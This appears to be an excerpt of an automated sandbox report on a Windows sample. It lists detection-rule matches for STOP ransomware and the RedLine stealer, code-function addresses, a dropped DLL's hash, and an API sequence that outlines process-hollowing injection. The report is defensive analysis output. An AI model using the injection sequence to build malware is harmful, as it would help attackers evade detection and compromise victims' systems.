Source: 10.2.n8XBpFdVFU.exe.5d915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.n8XBpFdVFU.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.n8XBpFdVFU.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.n8XBpFdVFU.exe.5d915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.n8XBpFdVFU.exe.5d915a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.n8XBpFdVFU.exe.5ea15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.n8XBpFdVFU.exe.5ea15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.2.n8XBpFdVFU.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.2.n8XBpFdVFU.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000F.00000002.2010470416.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000010.00000002.2021549677.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000010.00000002.2021549677.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000A.00000002.1746596896.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000002.1754689176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000002.1754689176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000A.00000002.1745411622.0000000004458000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000007.00000002.1717559855.0000000001DBF000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000002.1661649281.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.1629076133.00000000045E2000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000F.00000002.2010099363.00000000041E8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000003.00000002.1650285464.00000000042FB000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000006.00000002.2878939305.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000006.00000002.2878939305.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000005.00000002.1661479218.000000000454F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: Process Memory Space: n8XBpFdVFU.exe PID: 3524, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: n8XBpFdVFU.exe PID: 4308, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: n8XBpFdVFU.exe PID: 6604, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: n8XBpFdVFU.exe PID: 1228, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: n8XBpFdVFU.exe PID: 6652, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: n8XBpFdVFU.exe PID: 772, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: n8XBpFdVFU.exe PID: 7752, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E20110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		0_2_05E20110
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DE0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		3_2_05DE0110

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_00405653	0_2_00405653
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E23520	0_2_05E23520
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E27520	0_2_05E27520
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E4D7F1	0_2_05E4D7F1
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E2A79A	0_2_05E2A79A
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E2C760	0_2_05E2C760
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E2E6E0	0_2_05E2E6E0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E6B69F	0_2_05E6B69F
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E2A699	0_2_05E2A699
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E4D1A4	0_2_05E4D1A4
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E6E141	0_2_05E6E141
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E29120	0_2_05E29120
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E270E0	0_2_05E270E0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E230F0	0_2_05E230F0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E300D0	0_2_05E300D0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E2B0B0	0_2_05E2B0B0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E2A026	0_2_05E2A026
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E3F030	0_2_05E3F030
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E2B000	0_2_05E2B000
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E27393	0_2_05E27393
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E6E37C	0_2_05E6E37C
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05EA22C0	0_2_05EA22C0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E27220	0_2_05E27220
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E25DE7	0_2_05E25DE7
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E25DF7	0_2_05E25DF7
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E62D1E	0_2_05E62D1E
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E54E9F	0_2_05E54E9F
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E28E60	0_2_05E28E60
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E259F7	0_2_05E259F7
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E289D0	0_2_05E289D0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E4E9A3	0_2_05E4E9A3
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E4F9B0	0_2_05E4F9B0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E2A916	0_2_05E2A916
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E418D0	0_2_05E418D0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E27880	0_2_05E27880
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E2DBE0	0_2_05E2DBE0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E22B60	0_2_05E22B60
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E30B00	0_2_05E30B00
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E27A80	0_2_05E27A80
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E2CA10	0_2_05E2CA10
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0040D240	1_2_0040D240
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00419F90	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00405057	1_2_00405057
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0040C070	1_2_0040C070
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0042E003	1_2_0042E003
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0042F010	1_2_0042F010
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00408030	1_2_00408030
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_004070E0	1_2_004070E0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00410160	1_2_00410160
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_004C8113	1_2_004C8113
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_004021C0	1_2_004021C0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_004C9343	1_2_004C9343
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0044237E	1_2_0044237E
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00405447	1_2_00405447
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00405457	1_2_00405457
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_004084C0	1_2_004084C0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_004344FF	1_2_004344FF
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00449506	1_2_00449506
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0044B5B1	1_2_0044B5B1
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0040A660	1_2_0040A660
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00409686	1_2_00409686
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0041E690	1_2_0041E690
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00406740	1_2_00406740
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00402750	1_2_00402750
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0040A710	1_2_0040A710
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0040F730	1_2_0040F730
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00408780	1_2_00408780
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0044D7A1	1_2_0044D7A1
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0042C804	1_2_0042C804
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00406880	1_2_00406880
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00481920	1_2_00481920
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0044D9DC	1_2_0044D9DC
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_004069F3	1_2_004069F3
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00449A71	1_2_00449A71
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00443B40	1_2_00443B40
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00402B80	1_2_00402B80
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00406B80	1_2_00406B80
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00409CF9	1_2_00409CF9
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0044ACFF	1_2_0044ACFF
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0040DD40	1_2_0040DD40
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00427D6C	1_2_00427D6C
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0040BDC0	1_2_0040BDC0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00409DFA	1_2_00409DFA
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0042CE51	1_2_0042CE51
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00406EE0	1_2_00406EE0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00409F76	1_2_00409F76
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00420F30	1_2_00420F30
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00449FE3	1_2_00449FE3
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DE3520	3_2_05DE3520
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DE7520	3_2_05DE7520
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05E0D7F1	3_2_05E0D7F1
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DEA79A	3_2_05DEA79A
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DEC760	3_2_05DEC760
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DEE6E0	3_2_05DEE6E0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DEA699	3_2_05DEA699
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05E2B69F	3_2_05E2B69F
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05E0D1A4	3_2_05E0D1A4
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05E2E141	3_2_05E2E141
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DE9120	3_2_05DE9120
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DF00D0	3_2_05DF00D0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DE30F0	3_2_05DE30F0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DE70E0	3_2_05DE70E0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DEB0B0	3_2_05DEB0B0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DEB000	3_2_05DEB000
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DFF030	3_2_05DFF030
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DEA026	3_2_05DEA026
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DE7393	3_2_05DE7393
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05E2E37C	3_2_05E2E37C
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05E622C0	3_2_05E622C0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DE7220	3_2_05DE7220
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DE5DF7	3_2_05DE5DF7
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DE5DE7	3_2_05DE5DE7
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05E22D1E	3_2_05E22D1E
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05E14E9F	3_2_05E14E9F
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DE8E60	3_2_05DE8E60
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DE89D0	3_2_05DE89D0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DE59F7	3_2_05DE59F7
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05E0E9A3	3_2_05E0E9A3
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05E0F9B0	3_2_05E0F9B0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DEA916	3_2_05DEA916
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05E018D0	3_2_05E018D0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DE7880	3_2_05DE7880
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DEDBE0	3_2_05DEDBE0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DE2B60	3_2_05DE2B60
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DF0B00	3_2_05DF0B00
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DE7A80	3_2_05DE7A80
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DECA10	3_2_05DECA10
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0042E003	4_2_0042E003
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0040D240	4_2_0040D240
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0041E690	4_2_0041E690
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0040F730	4_2_0040F730
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00481920	4_2_00481920
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00419F90	4_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050D050	4_2_0050D050
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00405057	4_2_00405057
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0040C070	4_2_0040C070
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0042F010	4_2_0042F010
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050D008	4_2_0050D008
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00408030	4_2_00408030
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050D028	4_2_0050D028
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_004070E0	4_2_004070E0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050D090	4_2_0050D090
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050D0A8	4_2_0050D0A8
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00410160	4_2_00410160
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_004C8113	4_2_004C8113
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_004021C0	4_2_004021C0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_004C9343	4_2_004C9343
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0044237E	4_2_0044237E
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00405447	4_2_00405447
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00405457	4_2_00405457
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_004084C0	4_2_004084C0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050C4E0	4_2_0050C4E0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_004344FF	4_2_004344FF
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00449506	4_2_00449506
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0044B5B1	4_2_0044B5B1
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0040A660	4_2_0040A660
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00409686	4_2_00409686
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00406740	4_2_00406740
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00402750	4_2_00402750
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0040A710	4_2_0040A710
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00408780	4_2_00408780
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0044D7A1	4_2_0044D7A1
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0042C804	4_2_0042C804
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00406880	4_2_00406880
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050C960	4_2_0050C960
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050C928	4_2_0050C928
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0044D9DC	4_2_0044D9DC
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_004069F3	4_2_004069F3
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050C988	4_2_0050C988
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050C9A8	4_2_0050C9A8
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00449A71	4_2_00449A71
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_004E1AB0	4_2_004E1AB0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00443B40	4_2_00443B40
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050CB78	4_2_0050CB78
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00402B80	4_2_00402B80
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00406B80	4_2_00406B80
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00409CF9	4_2_00409CF9
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0044ACFF	4_2_0044ACFF
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0040DD40	4_2_0040DD40
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050CD60	4_2_0050CD60
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0040BDC0	4_2_0040BDC0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050CDF0	4_2_0050CDF0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00409DFA	4_2_00409DFA
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050CE58	4_2_0050CE58
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0042CE51	4_2_0042CE51
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00406EE0	4_2_00406EE0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00409F76	4_2_00409F76
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00420F30	4_2_00420F30
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050CF28	4_2_0050CF28
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050CFC0	4_2_0050CFC0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00449FE3	4_2_00449FE3
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050CF90	4_2_0050CF90

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll 036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: String function: 00428C81 appears 66 times
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: String function: 00420EC2 appears 40 times
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: String function: 004547A0 appears 64 times
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: String function: 00422587 appears 48 times
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: String function: 05E10160 appears 49 times
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: String function: 05E08EC0 appears 57 times
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: String function: 0042F7C0 appears 129 times
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: String function: 0044F23E appears 108 times
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: String function: 00428520 appears 125 times
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: String function: 00450870 appears 52 times
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: String function: 00454E50 appears 62 times
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: String function: 00441A25 appears 44 times
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: String function: 0044F26C appears 41 times
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: String function: 05E50160 appears 49 times
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: String function: 05E48EC0 appears 57 times

